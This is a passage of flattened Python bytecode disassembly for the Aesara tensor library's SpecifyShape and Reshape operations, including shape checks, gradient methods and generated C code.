c_code_cache_version at 0x7f8e2fc18b70, file "f.py", line 491> LOAD_CONST 'SpecifyShape.c_code_cache_version' MAKE_FUNCTION STORE_NAME c_code_cache_version LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('get_scalar_constant_value',) IMPORT_NAME aesara.tensor.basic IMPORT_FROM get_scalar_constant_value STORE_FAST get_scalar_constant_value POP_TOP LOAD_GLOBAL at LOAD_METHOD as_tensor_variable LOAD_FAST x CALL_METHOD STORE_FAST x LOAD_GLOBAL tuple LOAD_CONST <code object <genexpr> at 0x7f8af06a6930, file "f.py", line 360> LOAD_CONST 'SpecifyShape.make_node.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST shape GET_ITER CALL_FUNCTION CALL_FUNCTION STORE_FAST shape LOAD_GLOBAL any LOAD_CONST <code object <genexpr> at 0x7f8af06a6150, file "f.py", line 369> LOAD_CONST 'SpecifyShape.make_node.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST shape GET_ITER CALL_FUNCTION CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL TypeError LOAD_CONST 'Shape values must be integer types' CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL len LOAD_FAST shape CALL_FUNCTION LOAD_FAST x LOAD_ATTR type LOAD_ATTR ndim COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Input `x` is ' LOAD_FAST x LOAD_ATTR type LOAD_ATTR ndim FORMAT_VALUE LOAD_CONST '-dimensional and will never match a shape of length ' LOAD_GLOBAL len LOAD_FAST shape CALL_FUNCTION FORMAT_VALUE LOAD_CONST '.' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_CONST None BUILD_LIST LOAD_FAST x LOAD_ATTR ndim BINARY_MULTIPLY STORE_FAST type_shape SETUP_LOOP to 232 LOAD_GLOBAL enumerate LOAD_GLOBAL zip LOAD_FAST x LOAD_ATTR type LOAD_ATTR shape LOAD_FAST shape CALL_FUNCTION CALL_FUNCTION GET_ITER FOR_ITER to 230 UNPACK_SEQUENCE STORE_FAST i UNPACK_SEQUENCE STORE_FAST xts STORE_FAST s LOAD_FAST xts LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST xts LOAD_FAST type_shape LOAD_FAST i STORE_SUBSCR JUMP_ABSOLUTE SETUP_EXCEPT to 208 LOAD_FAST get_scalar_constant_value LOAD_FAST s CALL_FUNCTION STORE_FAST type_s LOAD_FAST type_s LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL int LOAD_FAST type_s CALL_FUNCTION LOAD_FAST type_shape LOAD_FAST i STORE_SUBSCR POP_BLOCK JUMP_ABSOLUTE DUP_TOP LOAD_GLOBAL NotScalarConstantError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_ABSOLUTE END_FINALLY JUMP_ABSOLUTE POP_BLOCK LOAD_FAST x LOAD_ATTR type LOAD_ATTR clone LOAD_FAST type_shape LOAD_CONST ('shape',) CALL_FUNCTION CALL_FUNCTION STORE_FAST out_var LOAD_GLOBAL Apply LOAD_FAST self LOAD_FAST x BUILD_TUPLE LOAD_FAST shape BUILD_LIST LOAD_FAST out_var BUILD_LIST CALL_FUNCTION RETURN_VALUE LOAD_FAST .0 FOR_ITER to 46 STORE_FAST s LOAD_FAST s LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL NoneConst LOAD_METHOD equals LOAD_FAST s CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL NoneConst JUMP_FORWARD to 40 LOAD_GLOBAL at LOAD_ATTR as_tensor_variable LOAD_FAST s LOAD_CONST 0 LOAD_CONST ('ndim',) CALL_FUNCTION YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 36 STORE_FAST s LOAD_GLOBAL hasattr LOAD_FAST s LOAD_CONST 'dtype' CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST s LOAD_ATTR dtype LOAD_GLOBAL aesara LOAD_ATTR tensor LOAD_ATTR type LOAD_ATTR integer_dtypes COMPARE_OP not in YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST inp UNPACK_EX STORE_FAST x STORE_FAST shape LOAD_FAST out_ UNPACK_SEQUENCE STORE_FAST out LOAD_GLOBAL len LOAD_FAST shape CALL_FUNCTION STORE_FAST ndim LOAD_FAST x LOAD_ATTR ndim LOAD_FAST ndim COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError LOAD_CONST 'SpecifyShape: Got ' LOAD_FAST x LOAD_ATTR ndim FORMAT_VALUE LOAD_CONST ' dimensions (shape ' LOAD_FAST x LOAD_ATTR shape FORMAT_VALUE LOAD_CONST '), expected ' LOAD_FAST ndim FORMAT_VALUE LOAD_CONST ' dimensions with shape ' LOAD_GLOBAL tuple LOAD_FAST shape CALL_FUNCTION FORMAT_VALUE LOAD_CONST '.' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL all LOAD_CONST <code object <genexpr> at 0x7f8af06a6030, file "f.py", line 404> LOAD_CONST 'SpecifyShape.perform.<locals>.<genexpr>' MAKE_FUNCTION LOAD_GLOBAL zip LOAD_FAST x LOAD_ATTR shape LOAD_FAST shape CALL_FUNCTION GET_ITER CALL_FUNCTION CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'SpecifyShape: Got shape ' LOAD_FAST x LOAD_ATTR shape FORMAT_VALUE LOAD_CONST ', expected ' LOAD_GLOBAL tuple LOAD_CONST <code object <genexpr> at 0x7f8af06a6c00, file "f.py", line 406> LOAD_CONST 'SpecifyShape.perform.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST shape GET_ITER CALL_FUNCTION CALL_FUNCTION FORMAT_VALUE LOAD_CONST '.' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST x LOAD_FAST out LOAD_CONST 0 STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 30 UNPACK_SEQUENCE STORE_FAST xs STORE_FAST s LOAD_FAST s LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST xs LOAD_FAST s COMPARE_OP == YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 30 STORE_FAST s LOAD_FAST s LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL int LOAD_FAST s CALL_FUNCTION JUMP_FORWARD to 24 LOAD_CONST None YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST shapes UNPACK_EX STORE_FAST xshape STORE_FAST _ LOAD_FAST node LOAD_ATTR inputs LOAD_CONST 1 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR STORE_FAST shape BUILD_LIST STORE_FAST new_shape SETUP_LOOP to 130 LOAD_GLOBAL range LOAD_FAST node LOAD_ATTR inputs LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR type LOAD_ATTR ndim CALL_FUNCTION GET_ITER FOR_ITER to 128 STORE_FAST dim LOAD_FAST shape LOAD_FAST dim BINARY_SUBSCR STORE_FAST s SETUP_EXCEPT to 90 LOAD_GLOBAL at LOAD_METHOD get_scalar_constant_value LOAD_FAST s CALL_METHOD STORE_FAST s LOAD_FAST s LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_FAST xshape LOAD_FAST dim BINARY_SUBSCR STORE_FAST s POP_BLOCK JUMP_FORWARD to 110 DUP_TOP LOAD_GLOBAL NotScalarConstantError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_FORWARD to 110 END_FINALLY LOAD_FAST new_shape LOAD_METHOD append LOAD_GLOBAL at LOAD_METHOD as_tensor_variable LOAD_FAST s CALL_METHOD CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL len LOAD_FAST new_shape CALL_FUNCTION LOAD_GLOBAL len LOAD_FAST xshape CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST new_shape BUILD_LIST RETURN_VALUE LOAD_CONST True BUILD_LIST BUILD_TUPLE LOAD_CONST False BUILD_LIST BUILD_LIST LOAD_GLOBAL len LOAD_FAST node LOAD_ATTR inputs LOAD_CONST 1 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR CALL_FUNCTION BINARY_MULTIPLY BUILD_LIST RETURN_VALUE LOAD_FAST inp UNPACK_EX STORE_FAST x STORE_FAST shape LOAD_FAST grads UNPACK_SEQUENCE STORE_FAST gz LOAD_GLOBAL specify_shape LOAD_FAST gz LOAD_FAST shape CALL_FUNCTION BUILD_LIST LOAD_CONST <code object <listcomp> at 0x7f8e2fc188a0, file "f.py", line 434> LOAD_CONST 'SpecifyShape.grad.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_GLOBAL len LOAD_FAST shape CALL_FUNCTION CALL_FUNCTION GET_ITER CALL_FUNCTION BINARY_ADD RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 22 STORE_FAST _ LOAD_GLOBAL aesara LOAD_ATTR gradient LOAD_METHOD DisconnectedType CALL_METHOD CALL_FUNCTION LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST eval_points LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None BUILD_LIST RETURN_VALUE LOAD_FAST self LOAD_ATTR make_node LOAD_FAST eval_points LOAD_CONST 0 BINARY_SUBSCR BUILD_TUPLE LOAD_FAST inputs LOAD_CONST 1 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR BUILD_TUPLE CALL_FUNCTION LOAD_ATTR outputs RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST node LOAD_ATTR inputs LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR type LOAD_GLOBAL DenseTensorType CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL NotImplementedError LOAD_CONST 'Specify_shape c_code not implemented for input type ' LOAD_FAST node LOAD_ATTR inputs LOAD_CONST 0 BINARY_SUBSCR LOAD_ATTR type FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST i_names UNPACK_EX STORE_FAST x_name STORE_FAST shape_names LOAD_FAST o_names UNPACK_SEQUENCE STORE_FAST o_name LOAD_FAST sub LOAD_CONST 'fail' BINARY_SUBSCR STORE_FAST fail LOAD_GLOBAL dedent LOAD_CONST '\n if (PyArray_NDIM(' LOAD_FAST x_name FORMAT_VALUE LOAD_CONST ') != ' LOAD_GLOBAL len LOAD_FAST shape_names CALL_FUNCTION FORMAT_VALUE LOAD_CONST ') {\n PyErr_Format(PyExc_AssertionError,\n "SpecifyShape: Got %d dimensions, expected %d dimensions.",\n PyArray_NDIM(' LOAD_FAST x_name FORMAT_VALUE LOAD_CONST '), ' LOAD_GLOBAL len LOAD_FAST shape_names CALL_FUNCTION FORMAT_VALUE LOAD_CONST '\n );\n ' LOAD_FAST fail FORMAT_VALUE LOAD_CONST ';\n }\n ' BUILD_STRING CALL_FUNCTION STORE_FAST code SETUP_LOOP to 238 LOAD_GLOBAL enumerate LOAD_GLOBAL zip LOAD_FAST shape_names LOAD_FAST node LOAD_ATTR inputs LOAD_CONST 1 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR CALL_FUNCTION CALL_FUNCTION GET_ITER FOR_ITER to 236 UNPACK_SEQUENCE STORE_FAST i UNPACK_SEQUENCE STORE_FAST shp_name STORE_FAST shp LOAD_GLOBAL NoneConst LOAD_METHOD equals LOAD_FAST shp CALL_METHOD POP_JUMP_IF_FALSE JUMP_ABSOLUTE LOAD_FAST code LOAD_GLOBAL dedent LOAD_CONST '\n if (py_' LOAD_FAST shp_name FORMAT_VALUE LOAD_CONST ' != Py_None){\n dtype_' LOAD_FAST shp_name FORMAT_VALUE LOAD_CONST ' shp = ((dtype_' LOAD_FAST shp_name FORMAT_VALUE LOAD_CONST '*)PyArray_GETPTR1(' LOAD_FAST shp_name FORMAT_VALUE LOAD_CONST ', 0))[0];\n if (PyArray_DIMS(' LOAD_FAST x_name FORMAT_VALUE LOAD_CONST ')[' LOAD_FAST i FORMAT_VALUE LOAD_CONST '] != shp) {\n PyErr_Format(PyExc_AssertionError,\n "SpecifyShape: dim %d of input has shape %d, expected %d.",\n ' LOAD_FAST i FORMAT_VALUE LOAD_CONST ', PyArray_DIMS(' LOAD_FAST x_name FORMAT_VALUE LOAD_CONST ')[' LOAD_FAST i FORMAT_VALUE LOAD_CONST '], shp\n );\n ' LOAD_FAST fail FORMAT_VALUE LOAD_CONST ';\n }\n }\n ' BUILD_STRING CALL_FUNCTION INPLACE_ADD STORE_FAST code JUMP_ABSOLUTE POP_BLOCK LOAD_FAST code LOAD_GLOBAL dedent LOAD_CONST '\n Py_XDECREF(' LOAD_FAST o_name FORMAT_VALUE LOAD_CONST ');\n ' LOAD_FAST o_name FORMAT_VALUE LOAD_CONST ' = ' LOAD_FAST x_name FORMAT_VALUE LOAD_CONST ';\n Py_XINCREF(' LOAD_FAST o_name FORMAT_VALUE LOAD_CONST ');\n ' BUILD_STRING CALL_FUNCTION INPLACE_ADD STORE_FAST code LOAD_FAST code RETURN_VALUE LOAD_CONST (2,) RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST shape LOAD_GLOBAL tuple LOAD_GLOBAL list BUILD_TUPLE CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_FAST shape BUILD_TUPLE STORE_FAST shape LOAD_GLOBAL len LOAD_FAST shape CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST shape LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL at LOAD_METHOD as_tensor_variable LOAD_FAST shape LOAD_CONST 0 BINARY_SUBSCR CALL_METHOD STORE_FAST shape_vector LOAD_FAST shape_vector LOAD_ATTR ndim LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE SETUP_EXCEPT to 82 LOAD_GLOBAL tuple LOAD_FAST shape_vector CALL_FUNCTION STORE_FAST shape POP_BLOCK JUMP_FORWARD to 110 DUP_TOP LOAD_GLOBAL ValueError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_GLOBAL ValueError LOAD_CONST 'Shape vector must have fixed dimensions' CALL_FUNCTION RAISE_VARARGS POP_EXCEPT JUMP_FORWARD to 110 END_FINALLY LOAD_GLOBAL at LOAD_METHOD as_tensor_variable LOAD_FAST x CALL_METHOD STORE_FAST x LOAD_GLOBAL any LOAD_CONST <code object <genexpr> at 0x7f8e2fc18780, file "f.py", line 521> LOAD_CONST 'specify_shape.<locals>.<genexpr>' MAKE_FUNCTION LOAD_GLOBAL zip LOAD_FAST shape LOAD_FAST x LOAD_ATTR type LOAD_ATTR shape CALL_FUNCTION GET_ITER CALL_FUNCTION CALL_FUNCTION STORE_FAST new_shape_info LOAD_FAST new_shape_info POP_JUMP_IF_TRUE LOAD_GLOBAL len LOAD_FAST shape CALL_FUNCTION LOAD_FAST x LOAD_ATTR type LOAD_ATTR ndim COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST x RETURN_VALUE LOAD_GLOBAL _specify_shape LOAD_FAST x BUILD_TUPLE LOAD_FAST shape BUILD_TUPLE CALL_FUNCTION RETURN_VALUE LOAD_FAST .0 FOR_ITER to 30 UNPACK_SEQUENCE STORE_FAST s STORE_FAST xts LOAD_FAST s LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_FAST s LOAD_FAST xts COMPARE_OP != YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE SETUP_EXCEPT to 24 LOAD_GLOBAL at LOAD_METHOD get_scalar_constant_value LOAD_FAST var LOAD_ATTR owner LOAD_ATTR inputs LOAD_CONST 1 BINARY_SUBSCR CALL_METHOD LOAD_METHOD item CALL_METHOD RETURN_VALUE DUP_TOP LOAD_GLOBAL NotScalarConstantError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_GLOBAL ValueError LOAD_CONST 'Length of ' LOAD_FAST var FORMAT_VALUE LOAD_CONST ' cannot be determined' BUILD_STRING CALL_FUNCTION RAISE_VARARGS POP_EXCEPT JUMP_FORWARD to 60 END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Reshape' STORE_NAME __qualname__ LOAD_CONST 'Perform a reshape operation of the input x to the new shape shp.\n The number of dimensions to which to reshape to (ndim) must be\n known at graph build time.\n ' STORE_NAME __doc__ LOAD_CONST 0 LOAD_CONST 0 BUILD_LIST BUILD_MAP STORE_NAME view_map LOAD_CONST True STORE_NAME _f16_ok LOAD_CONST False STORE_NAME check_input LOAD_CONST ('ndim',) STORE_NAME __props__ LOAD_NAME ParamsType LOAD_NAME int32 LOAD_CONST ('ndim',) CALL_FUNCTION STORE_NAME params_type LOAD_CONST (None,) LOAD_CONST <code object __init__ at 0x7f8e2fc185d0, file "f.py", line 550> LOAD_CONST 'Reshape.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object __str__ at 0x7f8e2fc18c00, file "f.py", line 556> LOAD_CONST 'Reshape.__str__' MAKE_FUNCTION STORE_NAME __str__ LOAD_CONST <code object make_node at 0x7f8b200ce150, file "f.py", line 559> LOAD_CONST 'Reshape.make_node' MAKE_FUNCTION STORE_NAME make_node LOAD_CONST <code object perform at 0x7f8b200ce0c0, file "f.py", line 590> LOAD_CONST 'Reshape.perform' MAKE_FUNCTION STORE_NAME perform LOAD_CONST <code object connection_pattern at 0x7f8b200ce1e0, file "f.py", line 600> LOAD_CONST 'Reshape.connection_pattern' MAKE_FUNCTION STORE_NAME connection_pattern LOAD_CONST <code object grad at 0x7f8b200ce270, file "f.py", line 603> LOAD_CONST 'Reshape.grad' MAKE_FUNCTION STORE_NAME grad LOAD_CONST <code object R_op at 0x7f8b200ce300, file "f.py", line 608> LOAD_CONST 'Reshape.R_op' MAKE_FUNCTION STORE_NAME R_op LOAD_CONST <code object infer_shape at 0x7f8b200ce5d0, file "f.py", line 613> LOAD_CONST 'Reshape.infer_shape' MAKE_FUNCTION STORE_NAME infer_shape LOAD_CONST <code object c_code_cache_version at 0x7f8b200ce660, file "f.py", line 653> LOAD_CONST 'Reshape.c_code_cache_version' MAKE_FUNCTION STORE_NAME c_code_cache_version LOAD_CONST <code object c_code at 0x7f8b200ce8a0, file "f.py", line 656> LOAD_CONST 'Reshape.c_code' MAKE_FUNCTION STORE_NAME c_code LOAD_CONST None RETURN_VALUE LOAD_GLOBAL int LOAD_FAST ndim CALL_FUNCTION LOAD_FAST self STORE_ATTR ndim LOAD_FAST ndim LOAD_CONST 0 COMPARE_OP < POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'The output dimensions after reshape must be 0 or greater' CALL_FUNCTION RAISE_VARARGS LOAD_FAST name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError LOAD_CONST 'name attribute for Reshape has been deprecated' CALL_FUNCTION RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR __class__ LOAD_ATTR __name__ FORMAT_VALUE LOAD_CONST '{' LOAD_FAST self LOAD_ATTR ndim FORMAT_VALUE LOAD_CONST '}' BUILD_STRING RETURN_VALUE LOAD_GLOBAL at LOAD_METHOD as_tensor_variable LOAD_FAST x CALL_METHOD STORE_FAST x LOAD_FAST shp STORE_FAST shp_orig LOAD_GLOBAL at LOAD_ATTR as_tensor_variable LOAD_FAST shp LOAD_CONST 1 LOAD_CONST ('ndim',) CALL_FUNCTION STORE_FAST shp LOAD_FAST shp LOAD_ATTR dtype LOAD_GLOBAL int_dtypes COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL isinstance LOAD_FAST shp LOAD_GLOBAL TensorConstant CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST shp LOAD_ATTR data LOAD_ATTR size LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL TypeError LOAD_CONST 'Shape must be integers; got ' LOAD_FAST shp LOAD_ATTR dtype FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST shp LOAD_ATTR ndim LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL isinstance LOAD_FAST shp LOAD_GLOBAL TensorConstant CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL tuple LOAD_CONST <code object <genexpr> at 0x7f8b200ce030, file "f.py", line 572> LOAD_CONST 'Reshape.make_node.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST shp LOAD_ATTR data GET_ITER CALL_FUNCTION CALL_FUNCTION STORE_FAST out_shape JUMP_FORWARD to 258 LOAD_CONST None BUILD_LIST LOAD_FAST self LOAD_ATTR ndim BINARY_MULTIPLY STORE_FAST out_shape LOAD_FAST shp_orig STORE_FAST shp_list LOAD_GLOBAL hasattr LOAD_FAST shp_orig LOAD_CONST 'ndim' CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST shp_orig LOAD_ATTR ndim LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST shp_orig BUILD_LIST STORE_FAST shp_list SETUP_LOOP to 258 LOAD_GLOBAL range LOAD_FAST self LOAD_ATTR ndim CALL_FUNCTION GET_ITER FOR_ITER to 256 STORE_FAST index LOAD_FAST shp_list LOAD_FAST index BINARY_SUBSCR STORE_FAST y LOAD_GLOBAL at LOAD_METHOD as_tensor_variable LOAD_FAST y CALL_METHOD STORE_FAST y SETUP_EXCEPT to 234 LOAD_GLOBAL at LOAD_METHOD get_scalar_constant_value LOAD_FAST y CALL_METHOD LOAD_METHOD item CALL_METHOD STORE_FAST s_val LOAD_FAST s_val LOAD_CONST 0 COMPARE_OP >= POP_JUMP_IF_FALSE LOAD_FAST s_val LOAD_FAST out_shape LOAD_FAST index STORE_SUBSCR POP_BLOCK JUMP_ABSOLUTE DUP_TOP LOAD_GLOBAL NotScalarConstantError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP POP_EXCEPT JUMP_ABSOLUTE END_FINALLY JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL Apply LOAD_FAST self LOAD_FAST x LOAD_FAST shp BUILD_LIST LOAD_GLOBAL tensor LOAD_FAST x LOAD_ATTR type LOAD_ATTR dtype LOAD_FAST out_shape LOAD_CONST ('shape',) CALL_FUNCTION BUILD_LIST CALL_FUNCTION RETURN_VALUE LOAD_FAST .0 FOR_ITER to 30 STORE_FAST s LOAD_FAST s LOAD_CONST 0 COMPARE_OP >= POP_JUMP_IF_FALSE LOAD_GLOBAL int LOAD_FAST s CALL_FUNCTION JUMP_FORWARD to 24 LOAD_CONST None YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST inp UNPACK_SEQUENCE STORE_FAST x STORE_FAST shp LOAD_FAST out_ UNPACK_SEQUENCE STORE_FAST out LOAD_GLOBAL len LOAD_FAST shp CALL_FUNCTION LOAD_FAST self LOAD_ATTR ndim COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Shape argument to Reshape has incorrect length: ' LOAD_GLOBAL len LOAD_FAST shp CALL_FUNCTION FORMAT_VALUE LOAD_CONST ', should be ' LOAD_FAST self LOAD_ATTR ndim FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL np LOAD_METHOD reshape LOAD_FAST x LOAD_FAST shp CALL_METHOD LOAD_FAST out LOAD_CONST 0 STORE_SUBSCR LOAD_CONST None RETURN_VALUE LOAD_CONST True BUILD_LIST LOAD_CONST False BUILD_LIST BUILD_LIST RETURN_VALUE LOAD_FAST inp UNPACK_SEQUENCE STORE_FAST x STORE_FAST shp LOAD_FAST grads UNPACK_SEQUENCE STORE_FAST g_out LOAD_GLOBAL reshape LOAD_FAST g_out LOAD_GLOBAL shape LOAD_FAST x CALL_FUNCTION LOAD_FAST x LOAD_ATTR ndim LOAD_CONST ('ndim',) CALL_FUNCTION LOAD_GLOBAL DisconnectedType CALL_FUNCTION CALL_FUNCTION BUILD_LIST RETURN_VALUE LOAD_FAST eval_points LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST None BUILD_LIST RETURN_VALUE LOAD_FAST self LOAD_FAST eval_points LOAD_CONST 0 BINARY_SUBSCR BUILD_TUPLE LOAD_FAST inputs LOAD_CONST 1 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR BUILD_TUPLE LOAD_CONST 'return_list' LOAD_CONST True BUILD_MAP CALL_FUNCTION RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('eq', 'maximum', 'mul') IMPORT_NAME aesara.tensor.math IMPORT_FROM eq STORE_DEREF eq IMPORT_FROM maximum STORE_FAST maximum IMPORT_FROM mul STORE_FAST mul POP_TOP LOAD_GLOBAL len LOAD_FAST ishapes LOAD_CONST 0 BINARY_SUBSCR CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST (1,) LOAD_FAST self LOAD_ATTR ndim BINARY_MULTIPLY BUILD_LIST RETURN_VALUE LOAD_FAST node LOAD_ATTR inputs LOAD_CONST 1 BINARY_SUBSCR STORE_DEREF requ LOAD_FAST mul LOAD_FAST ishapes LOAD_CONST 0 BINARY_SUBSCR CALL_FUNCTION STORE_FAST input_size LOAD_GLOBAL isinstance LOAD_DEREF requ LOAD_GLOBAL TensorConstant CALL_FUNCTION EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL list LOAD_DEREF requ LOAD_ATTR data CALL_FUNCTION STORE_DEREF requ LOAD_CONST <code object <listcomp> at 0x7f8b200ce390, file "f.py", line 623> LOAD_CONST 'Reshape.infer_shape.<locals>.<listcomp>' MAKE_FUNCTION LOAD_DEREF requ GET_ITER CALL_FUNCTION STORE_FAST requ_part LOAD_GLOBAL len LOAD_DEREF requ CALL_FUNCTION LOAD_GLOBAL len LOAD_FAST requ_part CALL_FUNCTION BINARY_SUBTRACT STORE_FAST crit LOAD_FAST crit LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_FAST requ_part CALL_FUNCTION LOAD_CONST 0 COMPARE_OP > POP_JUMP_IF_FALSE LOAD_FAST mul LOAD_FAST requ_part CALL_FUNCTION STORE_FAST requ_size LOAD_FAST input_size LOAD_FAST requ_size LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST 1 JUMP_FORWARD to 166 LOAD_FAST requ_size BINARY_FLOOR_DIVIDE STORE_FAST missing SETUP_LOOP to 258 LOAD_GLOBAL enumerate LOAD_DEREF requ CALL_FUNCTION GET_ITER FOR_ITER to 206 UNPACK_SEQUENCE STORE_FAST i STORE_FAST ele LOAD_FAST ele LOAD_CONST -1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST missing LOAD_DEREF requ LOAD_FAST i STORE_SUBSCR JUMP_ABSOLUTE POP_BLOCK JUMP_FORWARD to 258 LOAD_FAST crit LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST ishapes LOAD_CONST 0 BINARY_SUBSCR POP_JUMP_IF_FALSE LOAD_FAST input_size BUILD_LIST JUMP_FORWARD to 236 LOAD_CONST 1 BUILD_LIST STORE_DEREF requ JUMP_FORWARD to 258 LOAD_FAST crit LOAD_CONST 1 COMPARE_OP > EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'shape argument to Reshape.perform must have at most one entry equal to -1' CALL_FUNCTION RAISE_VARARGS LOAD_DEREF requ BUILD_LIST RETURN_VALUE LOAD_CLOSURE requ BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7f8b200ce420, file "f.py", line 640> LOAD_CONST 'Reshape.infer_shape.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_FAST self LOAD_ATTR ndim CALL_FUNCTION GET_ITER CALL_FUNCTION STORE_DEREF requ LOAD_FAST self LOAD_ATTR ndim EXTENDED_ARG POP_JUMP_IF_FALSE LOAD_FAST mul LOAD_DEREF requ CALL_FUNCTION UNARY_NEGATIVE STORE_FAST requ_size LOAD_FAST input_size LOAD_FAST maximum LOAD_FAST requ_size LOAD_CONST 1 CALL_FUNCTION BINARY_FLOOR_DIVIDE STORE_DEREF rest_size LOAD_GLOBAL tuple LOAD_CLOSURE eq LOAD_CLOSURE requ LOAD_CLOSURE rest_size BUILD_TUPLE LOAD_CONST <code object <listcomp> at 0x7f8b200ce4b0, file "f.py", line 647> LOAD_CONST 'Reshape.infer_shape.<locals>.<listcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_FAST self LOAD_ATTR ndim CALL_FUNCTION GET_ITER CALL_FUNCTION CALL_FUNCTION 